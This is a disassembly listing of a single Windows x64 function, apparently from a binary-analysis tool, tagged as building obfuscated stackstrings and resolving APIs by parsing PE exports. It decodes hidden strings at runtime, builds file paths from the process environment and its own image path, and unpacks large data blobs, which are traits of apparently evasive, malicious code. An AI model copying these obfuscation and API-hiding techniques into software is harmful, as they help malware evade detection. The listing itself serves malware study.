Function at 0x1400019e0
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push rbp
push rdi
push rsi
push rbx
mov eax, 0x2558
call fcn.140010110
sub rsp, rax
call fcn.14000f080
mov qword [rsp + 0x2548], 0xffffffffff676980
lea rdx, [rsp + 0x2548]
mov ecx, 0
call fcn.140005d8a
call fcn.14000522b
mov esi, eax
call fcn.1400059c0
mov rdi, rax
mov rax, qword [rax + 0x20]
mov rbx, qword [rax + 0x80]
lea rcx, [rsp + 0x2340]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x160], 0x1a
mov word [rsp + 0x162], 0x20
mov word [rsp + 0x164], 0x1a
mov word [rsp + 0x166], 0x1b
mov word [rsp + 0x168], 0xc
mov word [rsp + 0x16a], 0x14
mov word [rsp + 0x16c], 0x19
mov word [rsp + 0x16e], 0x16
mov word [rsp + 0x170], 0x16
mov word [rsp + 0x172], 0x1b
mov word [rsp + 0x174], 4
mov word [rsp + 0x176], 0xc7
cmp byte [0x140593c78], 0
jne 0x140001b03
mov byte [0x140593c98], 1
mov eax, 0
lea rcx, [0x140593c80]
movzx edx, word [rsp + rax*2 + 0x160]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xc
jne 0x140001ada
mov byte [0x140593c78], 1
lea rcx, [0x140001548]
call fcn.1400014f0
cmp byte [0x140593c98], 0
je 0x140001b35
lea rdx, [0x140593c80]
lea rcx, [rdx + 0x18]
movzx eax, word [rdx]
sub ax, 0x26c7
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140001b17
mov byte [0x140593c98], 0
lea rdx, [0x140593c80]
mov rcx, rbx
call fcn.140004bd6
mov rdx, rax
lea rcx, [rsp + 0x2340]
call sub.msvcrt.dll_wcscat
lea rcx, [rsp + 0x2130]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x160], 0x8d
mov word [rsp + 0x162], 0x84
mov word [rsp + 0x164], 0xaa
mov word [rsp + 0x166], 0xa4
mov word [rsp + 0x168], 0xa5
mov word [rsp + 0x16a], 0x96
mov word [rsp + 0x16c], 0x9e
mov word [rsp + 0x16e], 0x64
mov word [rsp + 0x170], 0x63
mov word [rsp + 0x172], 0x31
cmp byte [0x140593c58], 0
jne 0x140001c15
mov byte [0x140593c74], 1
mov eax, 0
lea rcx, [0x140593c60]
movzx edx, word [rsp + rax*2 + 0x160]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xa
jne 0x140001bec
mov byte [0x140593c58], 1
lea rcx, [0x140001562]
call fcn.1400014f0
cmp byte [0x140593c74], 0
je 0x140001c47
lea rdx, [0x140593c60]
lea rcx, [rdx + 0x14]
movzx eax, word [rdx]
add ax, 0x6fcf
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140001c29
mov byte [0x140593c74], 0
lea rdx, [rsp + 0x2340]
lea rcx, [rsp + 0x2130]
lea r8, [0x140593c60]
call fcn.140004370
lea rcx, [rsp + 0x1f20]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x160], 0x5f
mov word [rsp + 0x162], 0x66
mov word [rsp + 0x164], 0x70
mov word [rsp + 0x166], 0x67
mov word [rsp + 0x168], 0x31
mov word [rsp + 0x16a], 0x68
mov word [rsp + 0x16c], 0x7b
mov word [rsp + 0x16e], 0x68
mov word [rsp + 0x170], 3
cmp byte [0x140593c30], 0
jne 0x140001d1a
mov byte [0x140593c52], 1
mov eax, 0
lea rcx, [0x140593c40]
movzx edx, word [rsp + rax*2 + 0x160]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 9
jne 0x140001cf1
mov byte [0x140593c30], 1
lea rcx, [0x14000157c]
call fcn.1400014f0
cmp byte [0x140593c52], 0
je 0x140001d4c
lea rdx, [0x140593c40]
lea rcx, [rdx + 0x12]
movzx eax, word [rdx]
sub ax, 0x6803
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140001d2e
mov byte [0x140593c52], 0
lea rdx, [rsp + 0x2130]
lea rcx, [rsp + 0x1f20]
lea r8, [0x140593c40]
call fcn.140004370
lea rcx, [rsp + 0x1d10]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x160], 0x93
mov word [rsp + 0x162], 0x8e
mov word [rsp + 0x164], 0xa0
mov word [rsp + 0x166], 0xa5
mov word [rsp + 0x168], 0x9b
mov word [rsp + 0x16a], 0xa6
mov word [rsp + 0x16c], 0xae
mov word [rsp + 0x16e], 0xaa
mov word [rsp + 0x170], 0x87
mov word [rsp + 0x172], 0xa6
mov word [rsp + 0x174], 0xae
mov word [rsp + 0x176], 0x9c
mov word [rsp + 0x178], 0xa9
mov word [rsp + 0x17a], 0x8a
mov word [rsp + 0x17c], 0x9f
mov word [rsp + 0x17e], 0x9c
mov word [rsp + 0x180], 0xa3
mov word [rsp + 0x182], 0xa3
mov word [rsp + 0x184], 0x93
mov word [rsp + 0x186], 0xad
mov word [rsp + 0x188], 0x68
mov word [rsp + 0x18a], 0x65
mov word [rsp + 0x18c], 0x67
mov word [rsp + 0x18e], 0x93
mov word [rsp + 0x190], 0xa7
mov word [rsp + 0x192], 0xa6
mov word [rsp + 0x194], 0xae
mov word [rsp + 0x196], 0x9c
mov word [rsp + 0x198], 0xa9
mov word [rsp + 0x19a], 0xaa
mov word [rsp + 0x19c], 0x9f
mov word [rsp + 0x19e], 0x9c
mov word [rsp + 0x1a0], 0xa3
mov word [rsp + 0x1a2], 0xa3
mov word [rsp + 0x1a4], 0x65
mov word [rsp + 0x1a6], 0x9c
mov word [rsp + 0x1a8], 0xaf
mov word [rsp + 0x1aa], 0x9c
mov word [rsp + 0x1ac], 0x37
cmp byte [0x140593bd0], 0
jne 0x140001f4b
mov byte [0x140593c2e], 1
mov eax, 0
lea rcx, [0x140593be0]
movzx edx, word [rsp + rax*2 + 0x160]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x27
jne 0x140001f22
mov byte [0x140593bd0], 1
lea rcx, [0x140001596]
call fcn.1400014f0
cmp byte [0x140593c2e], 0
je 0x140001f7d
lea rdx, [0x140593be0]
lea rcx, [rdx + 0x4e]
movzx eax, word [rdx]
add ax, 0x5c9
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140001f5f
mov byte [0x140593c2e], 0
lea rdx, [rsp + 0x2130]
lea rcx, [rsp + 0x1d10]
lea r8, [0x140593be0]
call fcn.140004370
lea rcx, [rsp + 0x1b00]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x160], 0xa9
mov word [rsp + 0x162], 0xb0
mov word [rsp + 0x164], 0xbc
mov word [rsp + 0x166], 0xbb
mov word [rsp + 0x168], 0xb5
mov word [rsp + 0x16a], 0xbc
mov word [rsp + 0x16c], 0xc0
mov word [rsp + 0x16e], 0xc1
mov word [rsp + 0x170], 0x7b
mov word [rsp + 0x172], 0xb2
mov word [rsp + 0x174], 0xc5
mov word [rsp + 0x176], 0xb2
mov word [rsp + 0x178], 0x4d
cmp byte [0x140593ba0], 0
jne 0x140002078
mov byte [0x140593bca], 1
mov eax, 0
lea rcx, [0x140593bb0]
movzx edx, word [rsp + rax*2 + 0x160]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xd
jne 0x14000204f
mov byte [0x140593ba0], 1
lea rcx, [0x1400015b0]
call fcn.1400014f0
cmp byte [0x140593bca], 0
je 0x1400020aa
lea rdx, [0x140593bb0]
lea rcx, [rdx + 0x1a]
movzx eax, word [rdx]
add ax, 0x41b3
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x14000208c
mov byte [0x140593bca], 0
lea rdx, [rsp + 0x2130]
lea rcx, [rsp + 0x1b00]
lea r8, [0x140593bb0]
call fcn.140004370
lea rcx, [rsp + 0x18f0]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x160], 0x93
mov word [rsp + 0x162], 0xa5
mov word [rsp + 0x164], 0xa9
mov word [rsp + 0x166], 0x9f
mov word [rsp + 0x168], 0xb1
mov word [rsp + 0x16a], 0xad
mov word [rsp + 0x16c], 0xaf
mov word [rsp + 0x16e], 0xae
mov word [rsp + 0x170], 0xa0
mov word [rsp + 0x172], 0xa0
mov word [rsp + 0x174], 0x9c
mov word [rsp + 0x176], 0x9b
mov word [rsp + 0x178], 0xa0
mov word [rsp + 0x17a], 0x65
mov word [rsp + 0x17c], 0xab
mov word [rsp + 0x17e], 0xa4
mov word [rsp + 0x180], 0xa7
mov word [rsp + 0x182], 0x37
cmp byte [0x140593b48], 0
jne 0x1400021d7
mov byte [0x140593b84], 1
mov eax, 0
lea rcx, [0x140593b60]
movzx edx, word [rsp + rax*2 + 0x160]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x12
jne 0x1400021ae
mov byte [0x140593b48], 1
lea rcx, [0x1400015cb]
call fcn.1400014f0
cmp byte [0x140593b84], 0
je 0x140002209
lea rdx, [0x140593b60]
lea rcx, [rdx + 0x24]
movzx eax, word [rdx]
sub ax, 0x1637
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x1400021eb
mov byte [0x140593b84], 0
mov word [rsp + 0x160], 0x8b
mov word [rsp + 0x162], 0x7c
mov word [rsp + 0x164], 0x84
mov word [rsp + 0x166], 0x87
mov word [rsp + 0x168], 0x74
mov word [rsp + 0x16a], 0x37
cmp byte [0x140593b88], 0
jne 0x14000228a
mov byte [0x140593b9c], 1
mov eax, 0
lea rcx, [0x140593b90]
movzx edx, word [rsp + rax*2 + 0x160]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 6
jne 0x140002261
mov byte [0x140593b88], 1
lea rcx, [0x1400015ca]
call fcn.1400014f0
cmp byte [0x140593b9c], 0
je 0x1400022bc
lea rdx, [0x140593b90]
lea rcx, [rdx + 0xc]
movzx eax, word [rdx]
sub ax, 0x1637
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x14000229e
mov byte [0x140593b9c], 0
lea rdx, [0x140593b90]
mov rcx, rbx
call fcn.140004bd6
mov rdx, rax
lea rcx, [rsp + 0x18f0]
lea r8, [0x140593b60]
call fcn.140004370
lea rcx, [rsp + 0x160]
mov r8d, 0xa2
lea rdx, section..rdata
call sub.msvcrt.dll_memcpy
cmp byte [0x140593a98], 0
jne 0x140002341
mov byte [0x140593b42], 1
mov eax, 0
lea rcx, [0x140593aa0]
movzx edx, word [rsp + rax*2 + 0x160]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x51
jne 0x140002318
mov byte [0x140593a98], 1
lea rcx, [0x1400015e5]
call fcn.1400014f0
cmp byte [0x140593b42], 0
je 0x140002376
lea rdx, [0x140593aa0]
lea rcx, [rdx + 0xa2]
movzx eax, word [rdx]
sub ax, 0x42eb
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140002358
mov byte [0x140593b42], 0
lea r8, [rsp + 0x1d10]
lea rdx, [rsp + 0x2130]
mov qword [rsp + 0x20], r8
lea r9, [0x140593aa0]
mov ecx, 1
call fcn.140004b1a
lea rbp, [rsp + 0x16e0]
mov r8d, 0x208
mov edx, 0
mov rcx, rbp
call sub.msvcrt.dll_memset
mov rax, qword [rdi + 0x20]
mov rdx, qword [rax + 0x68]
mov rcx, rbp
call sub.msvcrt.dll_wcscat
lea rcx, [rsp + 0x14d0]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x160], 0x29
mov word [rsp + 0x162], 0x1a
mov word [rsp + 0x164], 0x36
mov word [rsp + 0x166], 0x30
mov word [rsp + 0x168], 0x3f
mov word [rsp + 0x16a], 0x3c
mov word [rsp + 0x16c], 0x40
mov word [rsp + 0x16e], 0x3c
mov word [rsp + 0x170], 0x33
mov word [rsp + 0x172], 0x41
mov word [rsp + 0x174], 0x29
mov word [rsp + 0x176], 0x24
mov word [rsp + 0x178], 0x36
mov word [rsp + 0x17a], 0x3b
mov word [rsp + 0x17c], 0x31
mov word [rsp + 0x17e], 0x3c
mov word [rsp + 0x180], 0x44
mov word [rsp + 0x182], 0x40
mov word [rsp + 0x184], 0x29
mov word [rsp + 0x186], 0x20
mov word [rsp + 0x188], 0x32
mov word [rsp + 0x18a], 0x30
mov word [rsp + 0x18c], 0x42
mov word [rsp + 0x18e], 0x3f
mov word [rsp + 0x190], 0x36
mov word [rsp + 0x192], 0x41
mov word [rsp + 0x194], 0x46
mov word [rsp + 0x196], 0x29
mov word [rsp + 0x198], 0x1a
mov word [rsp + 0x19a], 0x36
mov word [rsp + 0x19c], 0x30
mov word [rsp + 0x19e], 0x3f
mov word [rsp + 0x1a0], 0x3c
mov word [rsp + 0x1a2], 0x40
mov word [rsp + 0x1a4], 0x3c
mov word [rsp + 0x1a6], 0x33
mov word [rsp + 0x1a8], 0x41
mov word [rsp + 0x1aa], 0x20
mov word [rsp + 0x1ac], 0x32
mov word [rsp + 0x1ae], 0x30
mov word [rsp + 0x1b0], 0x42
mov word [rsp + 0x1b2], 0x3f
mov word [rsp + 0x1b4], 0x36
mov word [rsp + 0x1b6], 0x41
mov word [rsp + 0x1b8], 0x46
mov word [rsp + 0x1ba], 0x22
mov word [rsp + 0x1bc], 0x3d
mov word [rsp + 0x1be], 0x31
mov word [rsp + 0x1c0], 0x2e
mov word [rsp + 0x1c2], 0x41
mov word [rsp + 0x1c4], 0x32
mov word [rsp + 0x1c6], 0xfb
mov word [rsp + 0x1c8], 0x32
mov word [rsp + 0x1ca], 0x45
mov word [rsp + 0x1cc], 0x32
mov word [rsp + 0x1ce], 0xcd
cmp byte [0x1405939f0], 0
jne 0x140002654
mov byte [0x140593a70], 1
mov eax, 0
lea rcx, [0x140593a00]
movzx edx, word [rsp + rax*2 + 0x160]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x38
jne 0x14000262b
mov byte [0x1405939f0], 1
lea rcx, [0x14000161c]
call fcn.1400014f0
cmp byte [0x140593a70], 0
je 0x140002686
lea rdx, [0x140593a00]
lea rcx, [rdx + 0x70]
movzx eax, word [rdx]
sub ax, 0x4acd
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140002668
mov byte [0x140593a70], 0
mov word [rsp + 0x160], 0xe
mov word [rsp + 0x162], 0x1d
mov word [rsp + 0x164], 0x1d
mov word [rsp + 0x166], 0x11
mov word [rsp + 0x168], 0xe
mov word [rsp + 0x16a], 0x21
mov word [rsp + 0x16c], 0xe
mov word [rsp + 0x16e], 0xa
mov word [rsp + 0x170], 0xcd
cmp byte [0x140593a78], 0
jne 0x140002725
mov byte [0x140593a92], 1
mov eax, 0
lea rcx, [0x140593a80]
movzx edx, word [rsp + rax*2 + 0x160]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 9
jne 0x1400026fc
mov byte [0x140593a78], 1
lea rcx, [0x140001602]
call fcn.1400014f0
cmp byte [0x140593a92], 0
je 0x140002757
lea rdx, [0x140593a80]
lea rcx, [rdx + 0x12]
movzx eax, word [rdx]
sub ax, 0x4acd
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140002739
mov byte [0x140593a92], 0
lea rdx, [0x140593a80]
mov rcx, rbx
call fcn.140004bd6
mov rdx, rax
lea rcx, [rsp + 0x14d0]
lea r8, [0x140593a00]
call fcn.140004370
test sil, sil
je 0x14000320a
lea rcx, [rsp + 0x160]
mov r8d, 0x48e
lea rdx, [0x14058a0c0]
call sub.msvcrt.dll_memcpy
cmp byte [0x140593548], 0
jne 0x1400027e7
mov byte [0x1405939ee], 1
mov eax, 0
lea rcx, [0x140593560]
movzx edx, word [rsp + rax*2 + 0x160]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x247
jne 0x1400027bc
mov byte [0x140593548], 1
lea rcx, [0x140001636]
call fcn.1400014f0
cmp byte [0x1405939ee], 0
je 0x14000281c
lea rdx, [0x140593560]
lea rcx, [rdx + 0x48e]
movzx eax, word [rdx]
sub ax, 0x10ed
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x1400027fe
mov byte [0x1405939ee], 0
lea r8, [rsp + 0x1d10]
lea rdx, [rsp + 0x2130]
lea rsi, [rsp + 0x14d0]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r8
lea r9, [0x140593560]
mov ecx, 1
call fcn.140004b1a
lea rcx, [rsp + 0x16e0]
mov rdx, rsi
call sub.msvcrt.dll__wcsicmp
test eax, eax
jne 0x140003686
mov edx, dword [0x14003ce20]
lea rcx, [0x14001b020]
call fcn.1400017f8
movsxd rsi, dword [0x14003ce20]
mov word [rsp + 0x160], 0xd7
mov word [rsp + 0x162], 0xbd
mov word [rsp + 0x164], 0xdc
mov word [rsp + 0x166], 0xee
mov word [rsp + 0x168], 0xe0
mov word [rsp + 0x16a], 0xc9
mov word [rsp + 0x16c], 0xdc
mov word [rsp + 0x16e], 0xe8
mov word [rsp + 0x170], 0xe0
mov word [rsp + 0x172], 0xdf
mov word [rsp + 0x174], 0xca
mov word [rsp + 0x176], 0xdd
mov word [rsp + 0x178], 0xe5
mov word [rsp + 0x17a], 0xe0
mov word [rsp + 0x17c], 0xde
mov word [rsp + 0x17e], 0xef
mov word [rsp + 0x180], 0xee
mov word [rsp + 0x182], 0xd7
mov word [rsp + 0x184], 0xdf
mov word [rsp + 0x186], 0xea
mov word [rsp + 0x188], 0xec
mov word [rsp + 0x18a], 0xdf
mov word [rsp + 0x18c], 0xe7
mov word [rsp + 0x18e], 0xe6
mov word [rsp + 0x190], 0xf5
mov word [rsp + 0x192], 0xea
mov word [rsp + 0x194], 0xe4
mov word [rsp + 0x196], 0xdf
mov word [rsp + 0x198], 0xf5
mov word [rsp + 0x19a], 0x7b
cmp byte [0x1405932f8], 0
jne 0x1400029f6
mov byte [0x14059333c], 1
mov eax, 0
lea rcx, [0x140593300]
movzx edx, word [rsp + rax*2 + 0x160]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x1e
jne 0x1400029cd
mov byte [0x1405932f8], 1
lea rcx, [0x1400016bf]
call fcn.1400014f0
cmp byte [0x14059333c], 0
je 0x140002a28
lea rdx, [0x140593300]
lea rcx, [rdx + 0x3c]
movzx eax, word [rdx]
sub ax, 0x707b
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x140002a0a
mov byte [0x14059333c], 0
lea rcx, [rsp + 0x18f0]
mov dword [rsp + 0x40], 1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x2130]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1b00]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
mov r9, rsi
lea r8, [0x14001b020]
lea rdx, [0x140593300]
call fcn.140001794
call fcn.140003ab7
mov esi, eax
lea rcx, [rsp + 0x12c0]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x160], 0x45
mov word [rsp + 0x162], 0x30
mov word [rsp + 0x164], 0x58
mov word [rsp + 0x166], 0x58
mov word [rsp + 0x168], 0x50
mov word [rsp + 0x16a], 0x55
mov word [rsp + 0x16c], 0x4e
mov word [rsp + 0x16e], 0x45
mov word [rsp + 0x170], 0x35
mov word [rsp + 0x172], 0x52
mov word [rsp + 0x174], 0x4b
mov word [rsp + 0x176], 0x5c
mov word [rsp + 0x178], 0x45
mov word [rsp + 0x17a], 0xe9
cmp byte [0x1405932a8], 0
jne 0x140002b66
mov byte [0x1405932cc], 1
mov eax, 0
lea rcx, [0x1405932b0]
movzx edx, word [rsp + rax*2 + 0x160]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xe
jne 0x140002b3d
mov byte [0x1405932a8], 1
lea rcx, [0x1400016f3]
call fcn.1400014f0
cmp byte [0x1405932cc], 0
je 0x140002b98
lea rdx, [0x1405932b0]
lea rcx, [rdx + 0x1c]
movzx eax, word [rdx]
sub ax, 0x6ce9
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x140002b7a
mov byte [0x1405932cc], 0
mov word [rsp + 0x160], 0x2a
mov word [rsp + 0x162], 0x39
mov word [rsp + 0x164], 0x39
mov word [rsp + 0x166], 0x2d
mov word [rsp + 0x168], 0x2a
mov word [rsp + 0x16a], 0x3d
mov word [rsp + 0x16c], 0x2a
mov word [rsp + 0x16e], 0x26
mov word [rsp + 0x170], 0xe9
cmp byte [0x1405932d0], 0
jne 0x140002c37
mov byte [0x1405932f2], 1
mov eax, 0
lea rcx, [0x1405932e0]
movzx edx, word [rsp + rax*2 + 0x160]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 9
jne 0x140002c0e
mov byte [0x1405932d0], 1
lea rcx, [0x1400016d9]
call fcn.1400014f0
cmp byte [0x1405932f2], 0
je 0x140002c69
lea rdx, [0x1405932e0]
lea rcx, [rdx + 0x12]
movzx eax, word [rdx]
sub ax, 0x6ce9
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x140002c4b
mov byte [0x1405932f2], 0
lea rdx, [0x1405932e0]
mov rcx, rbx
call fcn.140004bd6
mov rdx, rax
lea rcx, [rsp + 0x12c0]
lea r8, [0x1405932b0]
call fcn.140004370
mov word [rsp + 0x160], 0xbe
mov word [rsp + 0x162], 0xb9
mov word [rsp + 0x164], 0x9d
mov word [rsp + 0x166], 0x9b
mov word [rsp + 0x168], 0x95
mov word [rsp + 0x16a], 0xda
mov word [rsp + 0x16c], 0xe0
mov word [rsp + 0x16e], 0xda
mov word [rsp + 0x170], 0x67
cmp byte [0x140593280], 0
jne 0x140002d2e
mov byte [0x1405932a2], 1
mov eax, 0
lea rcx, [0x140593290]
movzx edx, word [rsp + rax*2 + 0x160]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 9
jne 0x140002d05
mov byte [0x140593280], 1
lea rcx, [0x14000170d]
call fcn.1400014f0
cmp byte [0x1405932a2], 0
je 0x140002d60
lea rdx, [0x140593290]
lea rcx, [rdx + 0x12]
movzx eax, word [rdx]
add ax, 0x4f99
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x140002d42
mov byte [0x1405932a2], 0
lea r9, [0x140593290]
lea r8, [rsp + 0x12c0]
mov edx, dword [0x140040710]
lea rcx, [0x14003ce40]
call fcn.14000197b
cmp byte [0x140593268], 0
jne 0x140002dc8
mov byte [0x140593278], 1
mov word [0x140593270], 0x55
mov word [0x140593272], 0x4a
mov word [0x140593274], 0x4f
mov word [0x140593276], 0xdd
mov byte [0x140593268], 1
lea rcx, [0x140001727]
call fcn.1400014f0
cmp byte [0x140593278], 0
je 0x140002dfa
lea rdx, [0x140593270]
lea rcx, [rdx + 8]
movzx eax, word [rdx]
sub ax, 0xcdd
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x140002ddc
mov byte [0x140593278], 0
mov word [rsp + 0x160], 0x39
mov word [rsp + 0x162], 0x1f
mov word [rsp + 0x164], 0x3e
mov word [rsp + 0x166], 0x50
mov word [rsp + 0x168], 0x42
mov word [rsp + 0x16a], 0x2b
mov word [rsp + 0x16c], 0x3e
mov word [rsp + 0x16e], 0x4a
mov word [rsp + 0x170], 0x42
mov word [rsp + 0x172], 0x41
mov word [rsp + 0x174], 0x2c
mov word [rsp + 0x176], 0x3f
mov word [rsp + 0x178], 0x47
mov word [rsp + 0x17a], 0x42
mov word [rsp + 0x17c], 0x40
mov word [rsp + 0x17e], 0x51
mov word [rsp + 0x180], 0x50
mov word [rsp + 0x182], 0x39
mov word [rsp + 0x184], 0x3f
mov word [rsp + 0x186], 0x48
mov word [rsp + 0x188], 0x48
mov word [rsp + 0x18a], 0x46
mov word [rsp + 0x18c], 0x43
mov word [rsp + 0x18e], 0x49
mov word [rsp + 0x190], 0x46
mov word [rsp + 0x192], 0x50
mov word [rsp + 0x194], 0x3e
mov word [rsp + 0x196], 0x57
mov word [rsp + 0x198], 0x46
mov word [rsp + 0x19a], 0x56
mov word [rsp + 0x19c], 0x48
mov word [rsp + 0x19e], 0x48
mov word [rsp + 0x1a0], 0x53
mov word [rsp + 0x1a2], 0x50
mov word [rsp + 0x1a4], 0xdd
cmp byte [0x140593218], 0
jne 0x140002f9d
mov byte [0x140593266], 1
mov eax, 0
lea rcx, [0x140593220]
movzx edx, word [rsp + rax*2 + 0x160]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x23
jne 0x140002f74
mov byte [0x140593218], 1
lea rcx, [0x140001728]
call fcn.1400014f0
cmp byte [0x140593266], 0
je 0x140002fcf
lea rdx, [0x140593220]
lea rcx, [rdx + 0x46]
movzx eax, word [rdx]
sub ax, 0xcdd
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140002fb1
mov byte [0x140593266], 0
mov word [rsp + 0x160], 0x39
mov word [rsp + 0x162], 0x41
mov word [rsp + 0x164], 0x54
mov word [rsp + 0x166], 0x4a
mov word [rsp + 0x168], 0xb
mov word [rsp + 0x16a], 0x42
mov word [rsp + 0x16c], 0x55
mov word [rsp + 0x16e], 0x42
mov word [rsp + 0x170], 0xdd
cmp byte [0x1405931f8], 0
jne 0x14000306e
mov byte [0x140593212], 1
mov eax, 0
lea rcx, [0x140593200]
movzx edx, word [rsp + rax*2 + 0x160]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 9
jne 0x140003045
mov byte [0x1405931f8], 1
lea rcx, [0x140001742]
call fcn.1400014f0
cmp byte [0x140593212], 0
je 0x1400030a0
lea rdx, [0x140593200]
lea rcx, [rdx + 0x12]
movzx eax, word [rdx]
sub ax, 0xcdd
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x140003082
mov byte [0x140593212], 0
lea rcx, [rsp + 0x160]
mov r8d, 0x1154
lea rdx, str._HHFCIFP_WFVHHSP
call sub.msvcrt.dll_memcpy
cmp byte [0x140592088], 0
jne 0x140003101
mov byte [0x1405931f4], 1
mov eax, 0
lea rcx, [0x1405920a0]
movzx edx, word [rsp + rax*2 + 0x160]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x8aa
jne 0x1400030d6
mov byte [0x140592088], 1
lea rcx, [0x14000175c]
call fcn.1400014f0
cmp byte [0x1405931f4], 0
je 0x140003136
lea rdx, [0x1405920a0]
lea rcx, [rdx + 0x1154]
movzx eax, word [rdx]
sub ax, 0xcdd
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140003118
mov byte [0x1405931f4], 0
mov edx, dword [0x140592044]
lea rcx, [0x140592040]
call fcn.1400017f8
mov edx, dword [0x140588120]
lea rcx, [0x140040720]
call fcn.1400017f8
cmp byte [0x140592070], 0
jne 0x1400031a1
mov byte [0x140592080], 1
mov word [0x140592078], 0xc2
mov word [0x14059207a], 0xd1
mov word [0x14059207c], 0xc5
mov word [0x14059207e], 0x5d
mov byte [0x140592070], 1
lea rcx, [0x140001779]
call fcn.1400014f0
cmp byte [0x140592080], 0
je 0x1400031d3
lea rdx, [0x140592078]
lea rcx, [rdx + 8]
movzx eax, word [rdx]
add ax, 0x17a3
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x1400031b5
mov byte [0x140592080], 0
lea rdx, [0x140593270]
lea rcx, [0x140592078]
call sub.msvcrt.dll__wcsicmp
mov ebx, eax
test eax, eax
jne 0x1400034ef
test sil, sil
jne 0x1400034ef
mov eax, 0
add rsp, 0x2558
pop rbx
pop rsi
pop rdi
pop rbp
ret
lea rcx, [rsp + 0x160]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x60], 0xe9
mov word [rsp + 0x62], 0xff
mov word [rsp + 0x64], 0xf2
mov word [rsp + 0x66], 0xf4
mov word [rsp + 0x68], 0xbb
mov word [rsp + 0x6a], 0xf2
mov word [rsp + 0x6c], 5
mov word [rsp + 0x6e], 0xf2
mov word [rsp + 0x70], 0x8d
cmp byte [0x140593520], 0
jne 0x1400032a3
mov byte [0x140593542], 1
mov eax, 0
lea rcx, [0x140593530]
movzx edx, word [rsp + rax*2 + 0x60]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 9
jne 0x14000327d
mov byte [0x140593520], 1
lea rcx, [0x140001653]
call fcn.1400014f0
cmp byte [0x140593542], 0
je 0x1400032d5
lea rdx, [0x140593530]
lea rcx, [rdx + 0x12]
movzx eax, word [rdx]
sub ax, 0x7a8d
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x1400032b7
mov byte [0x140593542], 0
lea rdx, [rsp + 0x2130]
lea rcx, [rsp + 0x160]
lea r8, [0x140593530]
call fcn.140004370
lea rdi, [rsp + 0x60]
lea rsi, [0x14058b6c0]
mov ecx, 0xfa
rep movsb byte [rdi], byte [rsi]
cmp byte [0x140593400], 0
jne 0x140003346
mov byte [0x14059351a], 1
mov eax, 0
lea rcx, [0x140593420]
movzx edx, word [rsp + rax*2 + 0x60]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x7d
jne 0x140003320
mov byte [0x140593400], 1
lea rcx, [0x14000166d]
call fcn.1400014f0
cmp byte [0x14059351a], 0
je 0x14000337b
lea rdx, [0x140593420]
lea rcx, [rdx + 0xfa]
movzx eax, word [rdx]
add ax, 0x97d
and ax, 0xff
